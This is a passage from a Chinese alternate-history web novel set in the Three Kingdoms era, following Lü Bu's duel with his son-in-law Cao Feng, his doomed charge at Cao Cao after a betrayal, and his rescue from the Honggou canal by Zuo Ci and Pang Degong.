不仅仅是力量,还有那近乎完美的武学经验和技巧。这个面具武将,仿佛能预判他的每一招! 马超不禁想起了戴着面具的李儒,还有戴过面具的曹风。 他心中骇然:“果然,戴面具的,都不是善茬……” 第169章 曹风vs吕布:女婿暴打老丈人 战场上的尘土被马蹄卷起。 吕布以一敌二,方天画戟在他手中如同游龙。 戟出如龙,势不可挡! 马超和许褚虽然都是当世猛将,但在吕布面前却显得力不从心。 就在吕布一戟挑开马超的长枪,反手又逼退许褚的瞬间,一支冷箭突然从乱军之中破空而来! 箭矢带着尖锐的呼啸声,直取吕布的心口! “哼!雕虫小技!”吕布冷哼一声,硬生生将那支致命的箭矢握在掌中!箭尾的翎羽还在剧烈颤动,却再难前进分毫。 吕布转头望向箭矢射来的方向,角勾起一抹狂傲的冷笑。 “曹性,这些年你的箭术确实有些长进,可惜……”他五指猛然发力,箭杆竟被生生捏断,“还是不够看!” 话音未落,马超再次持枪刺向吕布。 方天画戟化作一道银光! 马超只觉虎口一麻,手中的长枪竟被直接挑飞,在空中划出一道弧线,重重插在十米外的地上。 许褚见状急忙上前救援,却被吕布反手一戟横扫,逼得连连后退,却也帮马超创造出了逃生的机会。 “今日就让你们见识真正的射术!”吕布大喝一声,也不再追杀马超和许褚,而是左手取下背上的龙舌弓。 搭箭、弓弦拉至满月…… 曹性看到吕布射箭的起手式,脸色瞬间惨白。这个姿势他太熟悉了——当年吕布就是以此闻名天下的“辕门射戟”! “这……这不可能!"曹性失声叫道,“你怎么会吕奉先的独门箭术?!” 高顺也露出震惊之色,他死死盯着吕布手中的方天画戟,突然恍然大悟。 “难怪……难怪他的戟法如此熟悉!那些招式、那些变招……他一定是吕奉先!并且比以前更强了!” 曹性已经来不及多想了。吕布的箭已经离弦,这一箭快得不可思议,几乎在弓弦响起的瞬间就已经到了曹性面前! 曹性绝望地睁大了眼睛,已经来不及躲闪,知道自己必死无疑。 “铛!”一声清脆的金属碰撞声响起。 就在千钧一发之际,另一支箭从侧面飞来,精准地击中了吕布的箭矢,两支箭同时偏离方向,擦着曹性的耳边飞过。 “哈哈哈!好箭法!”黄忠大笑着策马而出,手中长弓还在微微颤动,“来来来,吃老夫一箭!” 黄忠嘴上说着“一箭”,手上动作却快得惊人,眨眼间已经连射七箭! 吕布眼中闪过一丝兴奋的光芒,他放下长弓,方天画戟在身前舞出一片银光。“叮叮叮”一连串清脆的撞击声响起,七支箭无一例外都被格挡开来。 但趁着这个空档,许褚已经护着失去兵器的马超撤回了本阵。 另一边,马云禄和徐荣也在曹风的示意下迅速后退。 曹操在远处观战,“鸣金收兵!召回夏侯惇和曹仁!” 转眼间,战场中央只剩下吕布一人。 “哈哈哈!还有谁要来送死?!”方天画戟重重插在地上,激起一片尘土。 当曹性喊出“吕奉先”三个字时,曹风也愣住了。 “难道曹操当年在白门楼,也玩了和我一样的把戏?他暗中保下了吕布?” 惊讶过后,曹风感到一阵莫名的兴奋涌上心头。放眼天下,能入他眼的武将屈指可数。而吕布,恰恰是他最想交手的人之一! 曹风立刻转头对身边的陈到说道:“去把吕玲绮找来!” 望着耀武扬威的吕布,曹风缓缓戴上那副狰狞的鬼王面具,手指无意识地摩挲着腰间的匕首。 曹风大笑起来:“大哥!且随弟弟去会一会,这天下第一!” 话音未落,曹风已经策马冲出。 他手中长枪直指吕布,豪气干云地喊道:“吕奉先!曹风在此,可敢一战?!” 当听到来人是曹风时,吕布眼中瞬间迸发出滔天恨意:“曹风!我要将你碎尸万段!” 曹风却是心中有些不解。 他明明救过吕布的女儿吕玲绮,按理说吕布应该感激他才对,为何会如此恨他? 但此刻已经来不及多想了,方天画戟带着呼啸的风声当头劈下! “铛!”一声震耳欲聋的巨响,枪戟相交处迸发出耀眼的火花。 曹风只觉双臂有些发麻,心中暗自赞叹:“不愧是吕奉先,好强的力道!” “黑子”四蹄发力抓地,好让自己与背上的曹风不被击退。 曹风与黑子配合十分默契。 他反而借着反震之力,长枪划出一道优美的弧线,直刺吕布的咽喉。 吕布冷笑一声,方天画戟一个巧妙的旋转,不仅格开了这一枪,还顺势劈向曹风的战马。 曹风急忙勒马闪避,同时出枪护住“黑子”、 两人你来我往,转眼间已经交手五十余招。 观战的两军将士都屏住了呼吸,这场对决堪称当世巅峰之战! 曹风突然变招!百鸟朝凤! 枪势如暴雨梨花,瞬间刺出数十枪,每一枪都指向吕布的要害。 吕布眼中精光爆射,方天画戟舞得密不透风。这件结合了枪、矛、戈特点的神兵在他手中发挥到了极致。 时而如长枪直刺,时而似大刀劈砍,偶尔还使出戈的勾啄之法。 “好!痛快!”吕布越战越勇,方天画戟的月牙刃直取曹风的面门。 这一招来得突然,曹风急忙后仰,鬼王面具被月牙刃擦过,“咔嚓”一声裂成两半! 吕布也没讨到便宜,曹风的无名宝剑劈碎了他脸上的面具。 多年未现的面容,再次暴露在众人眼前。只是这张脸已没了当年争霸天下的锐气,反而多了几分刚毅和沧桑。 “倒是有些本事!”吕布赞赏地看了曹风一眼,但目光很快又冷了下来,“可惜你杀了我女儿!今日我必取你性命!” 曹风恼火道:“我费尽心思救了你女儿,你反倒说我杀了她?你是不是脑子有病!” 吕布冷笑:“跟你爹曹操一样阴险!少在这糊弄我!” “当年在白门楼,你是不是监斩官?” “是又怎样?” “你身为监斩官,却私自处决了我女儿!” “真是个不讲理的老丈人。”曹风不再废话,五虎断魂枪再次刺出。 这一次,他用的是自创的枪法——融合了童渊的枪术、关羽的刀法,以及他前世所学的所有长兵器精髓。 “吕奉先,我倒要看看你有没有这个本事杀我!不是所有女婿,都惯着老丈人!” 第170章 吕布的最后一击:从傀儡到飞将归来 曹风深吸一口气,目光死死盯住对面的吕布,试图找出他的破绽。他全身肌肉绷紧,像一张拉满的弓,蓄势待发。面对这个曾经的天下第一武将,曹风不敢有丝毫松懈。他必须拼尽全力,才有胜算。 吕布同样严阵以待。之前的交手让他明白,曹风的武艺极强,甚至不输当年虎牢关前的关羽和张飞。 但他是谁?他可是吕布! 想到这里,他嘴角扬起一抹狂傲的笑意,喝道:“曹风,今日就让你见识,什么才是真正的天下第一!” 两人同时暴喝一声,枪戟相撞,两杆神兵火花四溅。 马蹄翻飞间,地面尘土飞扬,两道身影在弥漫的烟尘中时隐时现。唯有兵器交击的铮鸣声不断回荡,在战场上格外刺耳。 赵云握紧了手中的龙胆亮银枪。他师从童渊,自认对天下枪法了如指掌,但曹风此刻展现的枪术却让他大开眼界。 那枪尖划过的轨迹,分明有“百鸟朝凤”的灵动,却又融入了关羽刀法中的那股睥睨天下的霸气和孤傲。 更令他在意的是,枪法中还有许多招式他完全看不懂,那诡异的变招角度和发力方式,不知是融合了什么武学的精髓。 “师叔的枪法竟然比我想象的还要厉害……”赵云喃喃自语。 他突然意识到,自己平日引以为傲的枪术,在认真的曹风面前,恐怕连三十回合都撑不住。 一旁的马超同样震惊不已。 他自幼习练西凉枪法,讲究大开大合,以力破巧。此刻曹风的枪法却颠覆了他的认知。刚猛时如泰山压顶,柔和处似春风拂柳,两种截然不同的风格竟能在一招之间自如转换。 马超不禁想起师父曾说过:“刚柔并济,方为枪道至境。” 他原以为这只是传说,没想到今日竟亲眼得见。 马云禄站在阵前,纤手不自觉地攥紧了缰绳。她望着场中那道矫健的身影,眼中既有骄傲,又带着几分嗔怪。 曹风明明答应过要教她全套枪法,却总是推脱说时机未到。现在想来,他一定是藏着这样的绝招不肯教她。 “三叔加油!打败曹孟德那个大混蛋的武将!”曹婴清脆的童音在战场上格外响亮。 她骑在马云禄的马上,小手挥舞着不知从哪里捡来的小木棍,有模有样地比划着。 对面的曹操听到这声音,恨得咬牙切齿,心中涌起一阵强烈的嫉妒。他恨不得立刻下令全军冲锋,把曹婴从曹风手里抢回来。那可是他最疼爱的儿子的女儿,是他的长孙女,如今却不在自己身边——这让他怎么接受得了? 曹操身旁的夏侯惇,独眼微眯,目不转睛地盯着战场。他曾在天幕影像中见过曹风的勇武,但亲眼所见仍是震撼不已。 要知道曹风的对手可是吕布,那个让十八路诸侯闻风丧胆的飞将的吕布!当年的吕布凭借自己的勇武,可是让他们吃尽了苦头。 更令他心惊的是,曹风竟能与吕布战得旗鼓相当,甚至隐隐占据上风。 夏侯惇虽然是曹操的兄弟,也誓死追随他,但此刻望着曹操的背影,心里还是忍不住有些埋怨。 好好一个家,就这么被曹操给搅散了。甚至连夏侯渊都因此丧命——夏侯惇越想越觉得不值。 曹仁早年性格暴躁,但后来变得越发沉稳。他本想劝曹操与曹风和谈,毕竟都是一家人。可得知妙才死在曹风手上后,他知道这事再没可能了。别说曹操,现在连他自己都想杀了曹风。 可想到真要杀曹风,曹仁心里又涌起一阵无奈。要是他真动手杀了曹风,下一个家庭破碎的可能就是他自己了。他儿子曹泰可是曹风的死忠。要不是天天把这小子拴在身边,恐怕早就跑去投奔曹风了。 就在众人各怀心思时,场中的对决已进入白热化。 曹风与吕布战得难分高下,虽然至今两人都未负伤,但他们心里清楚: 到了他们这个境界的交手,要么不分胜负,要么就是一击必杀。稍有不慎,便是生死立判。 就在这时,一道倩影突然从曹风阵中冲出。 她骑着一匹枣红马,乌黑的长发高高束起,随着骏马奔驰在风中飘扬。 那精致的五官与吕布有七分相似,尤其是那双凤目中的桀骜,简直如出一辙。 “父亲!” 吕玲绮撕心裂肺的呼喊让吕布心头一颤。 上次听到同样的声音,还是吕布在下邳惨败时。那时他铁了心要送吕玲绮逃命。 高手对决,瞬息万变。 这一分神,曹风的枪尖已抵住吕布咽喉。冰冷的枪尖紧贴皮肤,只需轻轻一送,这位天下第一武将就要命丧黄泉。 但吕布对死亡威胁浑然不觉,全部注意力都被吕玲绮吸引。这位天下第一的武将竟声音哽咽::“铃儿,你……” "夫君,别伤我父亲!"吕玲绮焦急上前。 曹风收枪后退,给父女俩留出空间。 简短交谈后,吕布才知是曹风救了吕玲绮。他正奇怪女儿为何没穿惯常的战甲。要知道,吕玲绮之前吃饭的时候,都不舍得卸甲。 目光落在她微微隆起的小腹上,吕布顿时明白了一切。 见吕玲绮出现,曹操脸色阴沉,突然挥手示意。 司马懿和曹洪立即率弓箭手万箭齐发,目标直指场中三人。 曹风与吕布同时护住吕玲绮。 见到女儿吕玲绮后,吕布仿佛重获新生,那个桀骜的并州头狼又回来了! 在下一波箭雨来临前,他将一个布袋抛给曹风,狂笑道。 “曹风,袋中是我的戟法!当作我女儿的嫁妆!你若亏待她,我做鬼也不放过你!” “大丈夫生于天地间,岂可郁郁久居人下!就天下人,在认识一次我九原吕奉先!”(九原属五原郡) “曹操老贼,竟敢骗我!拿命来!” 吕布一人一马,手持方天画戟迎着更密集的箭雨直冲曹操而去。 吕玲绮想追,被曹风紧紧护在怀中,一边挡箭一边后退。 如此密集的箭矢,再不撤退必成刺猬,更何况还要保护吕玲绮和自己未出世的孩子。 曹风的护卫统领陈到急忙率盾兵接应。 谁也没想到曹操竟如此丧心病狂,说好的和谈竟突然万箭齐发! 就这样,吕布上演了他在历史舞台上最后,也是最悲壮的一幕。 第171章 奉先?奉先! 密密麻麻的箭矢如暴雨般倾泻而下,短暂遮蔽了整个战场所有人的视线。 当箭雨停歇,地面上密密麻麻插满了箭矢,唯独留下一条诡异的空白路径。 那是一条被鲜血浸透的道路。 没错,这是吕布拼命杀出的一条血路!这也是他的复仇之路! 吕布双手紧握方天画戟,沉重的戟刃在地面上拖出一道深深的沟壑。 身上插着许多箭矢的他,还在赤红着双眼,向前冲杀! 吕布的战马太弱,早已被乱箭射死。 如果骑的是赤兔,这会儿还能跟他一起冲杀! 那匹曾经陪伴他的赤兔马已经不在了。被曹操送给了关羽。 但现在,吕布自己成了自己的赤兔。 他双脚猛蹬地面,拖着方天画戟,直奔曹操而去。 曹操所有的将领和士兵,在看到那个浑身插满箭矢却仍在冲锋的身影时,都不由自主地后退了一步。 那个曾经令天下闻风丧胆的天下第一武将,此刻真正回来了! 箭矢插在吕布的肩头、后背、大腿,有些甚至穿透了铠甲,但他仿佛感觉不到疼痛,眼中只有前方那个目标——曹贼! 奉先,为先锋而奉主! 这一次,他的主公就是他自己。 他为自己而战,为自己冲锋陷阵! 在冲杀的时候,他脑海中回想起了自己的这一生。 …… 我叫吕布,字奉先,出生在并州五原郡九原县的一个武将世家。家族世代习武,从我记事起,父亲就教导我:“吕家男儿,当以武立世。” 五岁开始,我每天天不亮就要起床练武。 长矛、大刀、长戈、棍棒,样样都要精通,但我最擅长大槊。 父亲说:“真正的武将,不能只会一种兵器。” 寒冬腊月,我的手掌冻裂出血。 盛夏酷暑,汗水浸透衣衫。 但我从不叫苦,因为我知道,这是成为强者的必经之路。 十岁那年,家里来了一位白发苍苍的老者,大家都尊称他为“左师”,说他是得道高人。 只有我觉得这老头装神弄鬼,世上哪有什么神仙?! 就算真有神仙,在我的大槊面前,也得低眉! 但这老头确实有些门道。 有一次我抱怨自己的兵器还不够趁手,他盯着我看了很久,然后说:“你这样的猛将,需要一件配得上你的兵器。” 三天后,他亲手给我打造了一件神兵——方天画戟! 这戟通体寒光闪闪,戟刃锋利无比,重量恰到好处,就像是为我量身定做的一般。 兵器做成那天,老头就要离开。 临走时,他神秘地对我说:“他日有难,往鸿沟处便是。” 鸿沟? 那是靠近官渡的运河,离并州远着呢。 我当时不以为意,继续沉迷于武艺的磨练。 十二岁那年秋天,一次寻常的外出打猎改变了我的一生。 当我满载猎物回到九原县时,看到的却是冲天火光和被鲜血染红的街道。 我的家没了,父母、兄弟姐妹都死在了胡人的刀下。 那一刻,我的世界崩塌了。 没有哭泣,没有呐喊,我只是默默擦干净方天画戟上的灰尘,头也不回地出了城,向着北方胡人的领地进发。 三个月后,草原上流传着一个可怕的传说: 一个手持画戟的少年,单枪匹马屠灭了许多胡人部落。 没有人知道,那个浑身浴血的少年就是我。 当我站在部落首领的帐篷前,看着最后一个仇人倒下时,突然感到一阵迷茫。 报仇之后,我彻底迷失了。 家人不在了,我就像一具行尸走肉,整日在草原上游荡。白天与狼群为伴,夜晚与星辰对话。 我开始不断问自己:活着到底是为了什么? 带着这个问题,我在草原上疯狂屠杀胡人。一方面是为了发泄仇恨,另一方面是想用杀戮来麻痹自己。 我的骑射技艺越发精湛,臂力也越来越惊人。方天画戟所到之处,胡人闻风丧胆。 渐渐地,边关将士们给了我一个称号—— 飞将! 并州刺史丁原多次派人来招揽我,开出的条件一次比一次优厚。但我始终拒绝,因为我吕布从不甘居人下。 奇怪的是,丁原却到处宣扬我已经是他的部下,还给我安了个主簿的虚职。 直到在一次剿匪行动中,我遇到了丁原本人。 他看着我的眼睛说:“奉先,让我给你一个家吧,做我的义子如何?” 那一刻,我冰冷的心似乎被什么触动了。 然而好景不长。 一次偶然的机会,我听到丁原酒后吐真言:“吕布不过是我手里的一把刀,义子也就是个名分。不过,我是真欣赏他的勇武。可惜啊,他不姓丁。” 这句话像一盆冷水浇醒了我。 后来丁原受何进征召进京,我作为他的精锐骑兵统领随行。 何进死后,董卓入主洛阳,看中了我的武力。 他送来赤兔马、金银珠宝,还许诺封我为骑都尉、中郎将、都亭侯。 说实话,金银我不稀罕,但那匹赤兔马确实让我心动。 更重要的是,我开始对权力产生了渴望。 同乡李肃劝我说:“奉先,良禽择木而栖,董太师才是你真正的义父!” 于是我做了一个决定:杀了丁原,投靠董卓。 我想,董卓舍得把赤兔马给我,应该是真心待我,真心当我为义子。 有了新靠山,有了权力,我以为终于找到了归宿。 董卓确实给了我很多,但他性格暴戾,动辄打骂。 这些我都能忍。毕竟他是我的义父,给了我许多,也给了我一个归宿。能让我的妻女不必再跟着我颠沛流离,也不用时刻担心性命之忧。 为了报答义父,我在虎牢关前,硬刚红脸大汉和环眼贼。 后来让我无法忍受的是,他竟然抢走了我心爱的貂蝉! 哪有爹和儿子抢媳妇的? 这一刻我明白了,在董卓眼里,我和丁原时期没什么两样,都只是他争霸的工具。 在王允的劝说下,我的方天画戟再次沾染“义父”的血。 杀了董卓后,我受封奋武将军、温侯,与王允共掌朝政。 “温侯”这个封号我很喜欢,比“飞将”听起来尊贵多了。 可惜好景又不长。 李傕、郭汜反攻长安,我兵败逃亡。 第172章 曹洪:老骥伏枥志在千里!跑,就完了! 虽然一度占领了曹操的濮阳,但最终还是难逃失败的命运。 我不明白,为什么我吕布空有一身武艺,却总是功败垂成? 我又开始不断问自己:我吕布到底为什么活着? 难道就是为了承受失败吗?! 下邳城破前夕,我送走了女儿吕玲绮。 看着她泪流满面地离去,我突然明白过来,自己为什么而活着。 我这辈子都在拼命修补九原县那个早已支离破碎的家,却不知道真正的家就在身边,结果反倒被我自己亲手毁了! 权力和美色蒙蔽了我的双眼。 被曹操俘虏后,我卑躬屈膝地求饶的样子,连自己都觉得恶心。高顺和张辽看我的眼神里充满了失望和鄙夷,但我必须活着,因为死了就什么都没了。 我只有活着,家才在。 曹操没有杀我,反而让郭嘉暗中把我关进了大牢。 阴暗潮湿的地牢里,老鼠在我脚边窜来窜去。狱卒们投来轻蔑的目光:天下第一的吕奉先,居然落到这种下场! 这些我都不在乎。身为父亲,我只想再见女儿一面。 可当听说玲儿遇害的消息时,我彻底崩溃了!但很快…… 我又回到了原点——我要为家人报仇!就像当年屠戮胡人一样! 在牢中的日子,我日夜磨练武艺。 我这才发现,多年的权谋争斗让我的武艺退步不少。 我的手臂不再像从前那样有力,步伐也不如当年灵活。 于是我重新找回当年的状态,每一招每一式都反复练习,直到肌肉记住每一个动作。在这种沉寂之中,我的武艺甚至有了突破。 这一练,这一等,便是好多年。 牢房的墙壁上刻满了计数用的划痕,记录着我被囚禁的日子。 而今天,我终于等到了这个机会! 在战场上,我见到了杀害女儿的凶手——曹风。 可令我没想到的是,玲儿突然出现了。她没死! 原来曹操骗了我。而和我交手的曹风,竟然是我的女婿。 玲儿怀着的孩子,是我的外孙。 这一刻,我终于明白自己为什么而活。 想通这一点后,我反而不怕死了! ………… “曹孟德,纳命来!”吕布嘴角最后的一丝笑意随着血丝一起消失,转而化作震怒。 曹操看着那成了血人的吕布,眼中充满了惊恐。他踉跄着后退了几步。 “哎呀!”曹操双手抱着头,险些晕倒。 在如此惊吓之下,他的老毛病又犯了,头痛得让他直不起腰来。 曹仁、夏侯惇、乐进等人急忙率领兵马去阻拦吕布。 而曹洪则是背起曹操,拔腿就跑! 他又干起了老本行,成了曹操所有坐骑里的mvp! 曹洪此时欲哭无泪。 他一边跑一边喘着粗气,心中埋怨道:“孟德啊,你实在让人太不省心!我都这把年纪了,老胳膊老腿儿的,还得背着你逃命!” “我严重怀疑你那句‘老骥伏枥志在千里''是写给我的!我这把老骨头都快散架了!” 司马懿也懵了,他明明算计得很精细! 这么多箭矢都射不死吕布! 他站在高处,看着吕布在千军万马中左冲右突,简直不敢相信自己的眼睛。 等他反应过来时,发现曹洪已经背起曹操一溜烟跑了! 司马懿拔腿就跑! 他此时十分震惊于曹洪的速度,这个平时看着不起眼的将领,跑起来居然能跟马赛跑!还真是曹操的福将! 司马懿现在真想问问曹洪——还能不能再背一个人?干脆连他司马懿也一起带上! 曹植没有随着曹操一起逃跑,而是跳着向曹风招手:“三哥,三哥,这里!救我!我也投了!” 曹风让马云禄替自己照顾好吕玲绮,自己则率大军冲杀,想要救出吕布。 “全军冲锋!”曹风向前方挥动五虎断魂枪,大吼道,“给我压上去!” “救吕奉先者,封万户侯!” 随着曹风的一声令下,万马奔腾,黑压压的骑兵有序地向曹操阵地冲杀过去。 马蹄声震耳欲聋,大地都在颤抖。 面对这些骑兵,还在向曹风招手的曹植彻底傻眼了。 尤其是徐晃的铁浮屠,如钢铁洪流一般向他冲来。 那些重甲骑兵连人带马都包裹在铁甲之中,就像一堵移动的铁墙。 曹植此时再跑已经来不及了,望着曹操布置在阵地最前沿的部队瞬间崩溃,曹植知道自己今天死定了! 曹植此时很想作诗一首,作为送给自己的诀别诗。他脑海中闪过许多诗句,却怎么也凑不成完整的一首。 就在这时,一道身影在铁浮屠之前率先向曹植冲来。 看清那张日思夜想的帅气面庞时,曹植激动不已。他知道,自己死不了了!他那无所不能的三哥,骑着白马来救自己了! “战场发愣,找死吗!”曹风毫不客气地呵斥曹植。 随后,曹风一手将曹植提了起来,甩在自己身后的马位上。 “黑子”似乎对曹植出现在自己的马背上很不开心,不停地甩动尾巴,扇了曹植好几个大嘴巴子。 曹植被马尾巴抽得生疼,却一声不敢吭。他清楚曹风这匹马机灵得很,要是得罪了它,说不定真会把自己甩下马背。 即便前面有阻拦的人马,但黑子也将身后的铁浮屠甩在后面。这匹神驹的速度快得惊人,四蹄翻飞间就冲出了数十丈远。 曹风在人海中一边厮杀,一边不停地寻找吕布的身影。 此时的吕布,早已杀穿了曹操的阵地,正追赶着曹洪。 曹洪背着曹操,直奔鸿沟(汴水)而去。那里有提前备好的船。只要渡过鸿沟,就安全了。那里有于禁率领的守军。 曹洪跑得气喘吁吁,汗水浸透了衣衫,但他不敢停下,因为吕布的怒吼声就在身后不远处。 吕布一直追到鸿沟,却见曹洪已经带着曹操渡河了。 河水湍急,船只已经驶离岸边数丈远。 已经快要燃尽了的吕布,也咬牙登上一艘船只。 可船行驶在河面的时候,吕布发现船只漏水。河水从船底的缝隙中汩汩涌入,很快就漫过了脚踝。 吕布望着距离自己越来越远的曹洪,一口鲜血从口中喷出,身体摇摇晃晃。 他知道,自己伤势太重,已经油尽灯枯。 今天怕是要葬身在这水下了。 此时,他却听见曹洪侥幸逃生后的大笑:“吕奉先,鸿沟便是你的葬身之地!” 第173章 庞德公:看老夫钓上来一个吕奉先! 吕布用那杆陪他征战多年的方天画戟,死死撑住自己摇摇欲坠的身体。 锋利的戟刃深深扎进船板,整艘船因此加速下沉。 他吕奉先,堂堂九原虓虎! 就算是死,也绝不能倒下! 鲜血从数十几处伤口不断涌出。 吕布咬紧牙关,强忍着全身伤口传来的剧痛,硬是挺直了腰板。 冰冷的河水已经漫到了膝盖位置。 吕布感觉自己的眼皮越来越重,像是灌了铅一样。 视线也开始变得模糊。 耳边的厮杀声、水流声渐渐远去…… 取而代之的是一种很熟悉的宁静。 这种宁静,已经几十年没有出现过了。 这感觉像极了他小时候,杀累了,便独自躺在草原上,安静地望着天上的星星。 就在这时,他仿佛看见女儿吕玲绮出现在眼前。 从蹒跚学步的幼童到亭亭玉立的少女,一幕幕回忆如走马灯般闪过: “阿爹,抱抱!”三岁的玲儿迈着不稳的步子,张开肉嘟嘟的小手向他跑来。阳光照在她红扑扑的小脸上,那双明亮的眼睛里盛满了对父亲的依恋。 “阿爹,教我练武!”七岁的玲儿举着专门给她做的小木枪,一板一眼地比划着招式。她那副认真的模样逗得吕布直笑。不愧是自己的孩子,虽不是儿子,可对武术的痴迷劲儿一点不差! “阿爹送的铠甲,玲儿好喜欢!”十二岁的玲儿穿着吕布命人精心打造的小号铠甲,在院子里欢快地跑来跑去。 “父亲,玲儿长大了,才不要你抱!”十五岁的玲儿已经出落得亭亭玉立,她红着脸推开自己想要拥抱的手臂。女儿,长大了啊! “吕奉先,你为何因为那貂蝉,而冷落了我和母亲!”玲儿愤怒的质问犹在耳边。那是她第一次直呼父亲的名讳,眼中的失望和伤心让吕布至今想起都心如刀绞。 “父亲,我不走!玲儿要和你并肩作战!”下邳城破时,玲儿倔强地要留下来与他同生共死。 “阿爹,曹风是我的夫君。我有了身孕。神医华佗给看过,说是个男孩儿。”最后一次见面时,玲儿脸上洋溢着幸福的笑容。 那一刻,吕布才猛然发觉,女儿快要做母亲了,而自己竟成了外公。他能传给她们的,唯有这方天画戟的武艺。 吕布下意识地想要伸手,像从前那样揉揉女儿的发顶。 可手臂刚抬起就牵动了胸前的伤口,剧烈的疼痛让他猛然清醒。眼前哪有什么玲儿,只有越涨越高的河水,和越来越深的黑暗。 他露出这一生最温柔的笑容,轻声道:“玲儿,爹对不起你……父亲不能再护着你了……” "以后……别再那么调皮任性……要好好照顾自己……” 他顿了顿,用尽最后的力气喃喃道:“曹风!你要是敢对我女儿不好……我吕奉先做鬼……也不会放过你!” 吕布最后的意识,是冰冷的河水漫过脖颈的感觉。 沉重的铠甲拖着他不断下沉,方天画戟依然紧握在手。 恍惚间,他似乎看见水面上有银光闪过,但很快就陷入了永恒的黑暗。 不知为何,临死前…… 他突然想起多年前左慈那句莫名其妙的话:“他日有难,往鸿沟去。” 水下。 吕布想笑,可一张嘴就灌满了浑浊的河水。 来了鸿沟,也许只是巧合。 世上果然没有什么神仙! 若是有,左老头儿,你人呢? 水面上方,一艘造型奇特的小船静静漂浮。 “庞道友,再不出手,吕布就要死了。那恶龙之气就要散了!” 左慈站在船尾,白须飘飘,语气中带着几分急切。 庞德公站在船头,依旧是一副笑呵呵的模样:“左道友莫急,看老夫如何将他钓上来!” 说着,他手腕一抖,那根曾在曹风里眼里看似普通的鱼竿,便划出一道优美的弧线,鱼钩没入水中。 庞德公突然轻喝一声:“起!” 只见他原本看似枯瘦的手臂,突然隆起。 鱼竿弯成满月,一个庞大的黑影顿时被鱼钩勾了上来。 庞德公看都不看,随手一甩,那黑影便朝着正在看热闹的左慈砸去。 左慈不慌不忙,笑着摇头:“你这老家伙,几十年了还是这么爱胡闹。” 说话间,那黑影已近在咫尺。 黑影眼看就要落下,砸在左慈身上的时候。 一个靓丽的身影突然闪出,挡在左慈身前。 只见她修长的玉腿一抬,精准地踢在黑影腰间,将其踹落在甲板上。 定睛一看,正是昏迷不醒的吕布。 “张丫头,你这脚法倒是越发精进了。”左慈捋须笑道。 张嫣面无表情地瞥了眼地上的吕布,随即嫌恶地皱起眉头。 除了曹风,她向来不喜欢与任何人有接触。 若不是顾及吕布性命,她一定会用船桨而不是自己的脚。 只见她快步走到船舱边,取出一块上好的丝绸,仔细擦拭着方才踹过吕布的那只布鞋。 那专注的模样,仿佛鞋上沾了什么致命的毒物一般。 庞德公蹲下身,饶有兴趣地打量着昏迷的吕布:“别说,这小家伙还挺沉!险些扯断我的鱼线。” 庞德公晃了晃手中的鱼竿,笑道:“好在这鱼竿不是用来钓鱼的,专勾你们这些身负龙气的人和物。” “都快死了还紧握着兵器不放。”左慈试着掰开吕布的手指,却发现那双手如同铁铸一般,纹丝不动。 左慈蹲下身子,用拂尘在吕布手腕一点。 吕布的手瞬间就松了开。 那把左慈亲手打造的方天画戟,时隔多年,终于又回到了锻造者的手中。 左慈手腕用力一抖,方天画戟便朝张嫣飞去:“徒儿,仔细看看这戟,” “可看出什么不同?对你修行应当有所助益。” “左道友收了个好徒弟啊。”庞德公目光在张嫣身上停留片刻,语气中带着明显的羡慕。 左慈指了指甲板上的吕布,半开玩笑地说:“要不你收他为徒?我看这小子根骨不错。恶龙之气一除,倒也是个人物。” 庞德公闻言,脸上立刻露出嫌弃的表情:“他可不配。” 顿了顿,他又若有所思地补充道:“倒是那个曹风……确实能做我徒弟。” 左慈笑着摇头:“你没这个福分。卧龙命格尚可承受,真龙之运却非你能担。如今你与那卧龙结下因果,只怕他临终之时都要念着你的名字。” 第174章 徐荣三气夏侯惇 官渡。 曹风纵马在战场上疾驰,一边杀敌,目光同时不断扫过每一个角落。他必须找到吕布——活要见人,死要见尸。 他身后横搭着的曹植,已被马背颠得神志不清,喃喃道。 “好想吟诗一首……” “但又不知,该从何说起……” 不远处,曹仁正盯着疾驰中的曹风,和他身后的曹植。 他并不知道曹植已经主动投降,还以为是被曹风俘虏了。 想到曹操曾私下对宗族重要将领们暗示: 曹植最有可能继承王位。 曹仁就更加不安。 “绝不能让子建被带走!”曹仁一夹马腹,朝着曹风疾驰而去。 在距离曹风十余步时,曹仁勒住战马,横刀立马拦住去路。 他没有立即动手,而是高声喊道:“曹风侄子,放下子建!” 曹风此刻心急如焚。 以吕布如今那伤势,若不尽快找到,很有可能直接嘎了。就算是华佗和李儒再厉害,也不能救活一个真死人。 他哪有心思理会曹仁? “叔父快让开!”曹风声音沙哑,“我儿子没了爷爷,我不想让他再没了外公!” 曹仁哪里肯让道,当即挥刀砍去。 不过这一刀他故意偏了几分,避开了要害部位。 然而根本不需要曹风出手,一杆银枪如蛟龙出海,精准地架住了曹仁的大刀。 “敌将休要阻拦我师叔!常山赵子龙在此!” 曹仁顿时脸色大变。 常山赵子龙?! 当年长坂坡一战,曹仁也在。 他亲眼目睹赵云在万军丛中七进七出的勇武,至今想起仍心有余悸。 曹仁这才仔细打量了一眼赵云,心中恍然大悟:难怪开战时觉得眼熟,原来真是常山赵子龙! 可他什么时候成了曹风麾下? 还称呼曹风为师叔? 没看过天幕的曹仁自然不知道,曹风与赵云之间的渊源。就在他分神之际,赵云已经使出了成名绝技——七探蛇盘枪! 只见银枪如灵蛇出洞,从不同角度袭向曹仁。 曹仁慌忙举刀相迎,虽然他也是曹操麾下有数的猛将,但面对赵云的绝技,还是难以招架。 三十余回合后,随着“铛”的一声脆响,曹仁手中大刀被赵云一枪挑飞。 正当曹仁想要撤退时,忽然发觉四周早已被白马骑兵团团围住。寒光闪闪的长枪齐齐对准了他,退路已断。 性格刚烈的曹仁拔出佩剑就要自刎,却被赵云眼疾手快,一枪挑飞了长剑。 …… 另一边,夏侯惇与徐荣的战斗也进入了白热化。 夏侯惇虽然勇猛,但在经验老道的徐荣面前还是渐渐落了下风。就在夏侯惇准备以命相搏时,一支冷箭突然射中他的肩膀。 “啊!”夏侯惇痛呼一声,险些跌落马下。 徐荣抓住机会,用刀背猛击夏侯惇后背,将其生擒活捉。 得手后的徐荣却没有丝毫喜色,反而转头怒骂道:“曹性!你个臭小子!欠揍了是吧?老夫最讨厌别人放冷箭!” 不远处,曹性讪讪地收起长弓,挠头解释道:“我见老帅您只睁着一只眼,还以为受伤了……” “放你娘的屁!”徐荣气得胡子都翘了起来,立刻睁开原本闭着的右眼,“我这是让着夏侯一眼!” 曹性闻言,忍不住咧嘴笑了。 这简直是杀人诛心啊!还得是老帅会玩! 果然,被刀背拍得晕头转向的夏侯惇听到这话,顿时暴跳如雷。 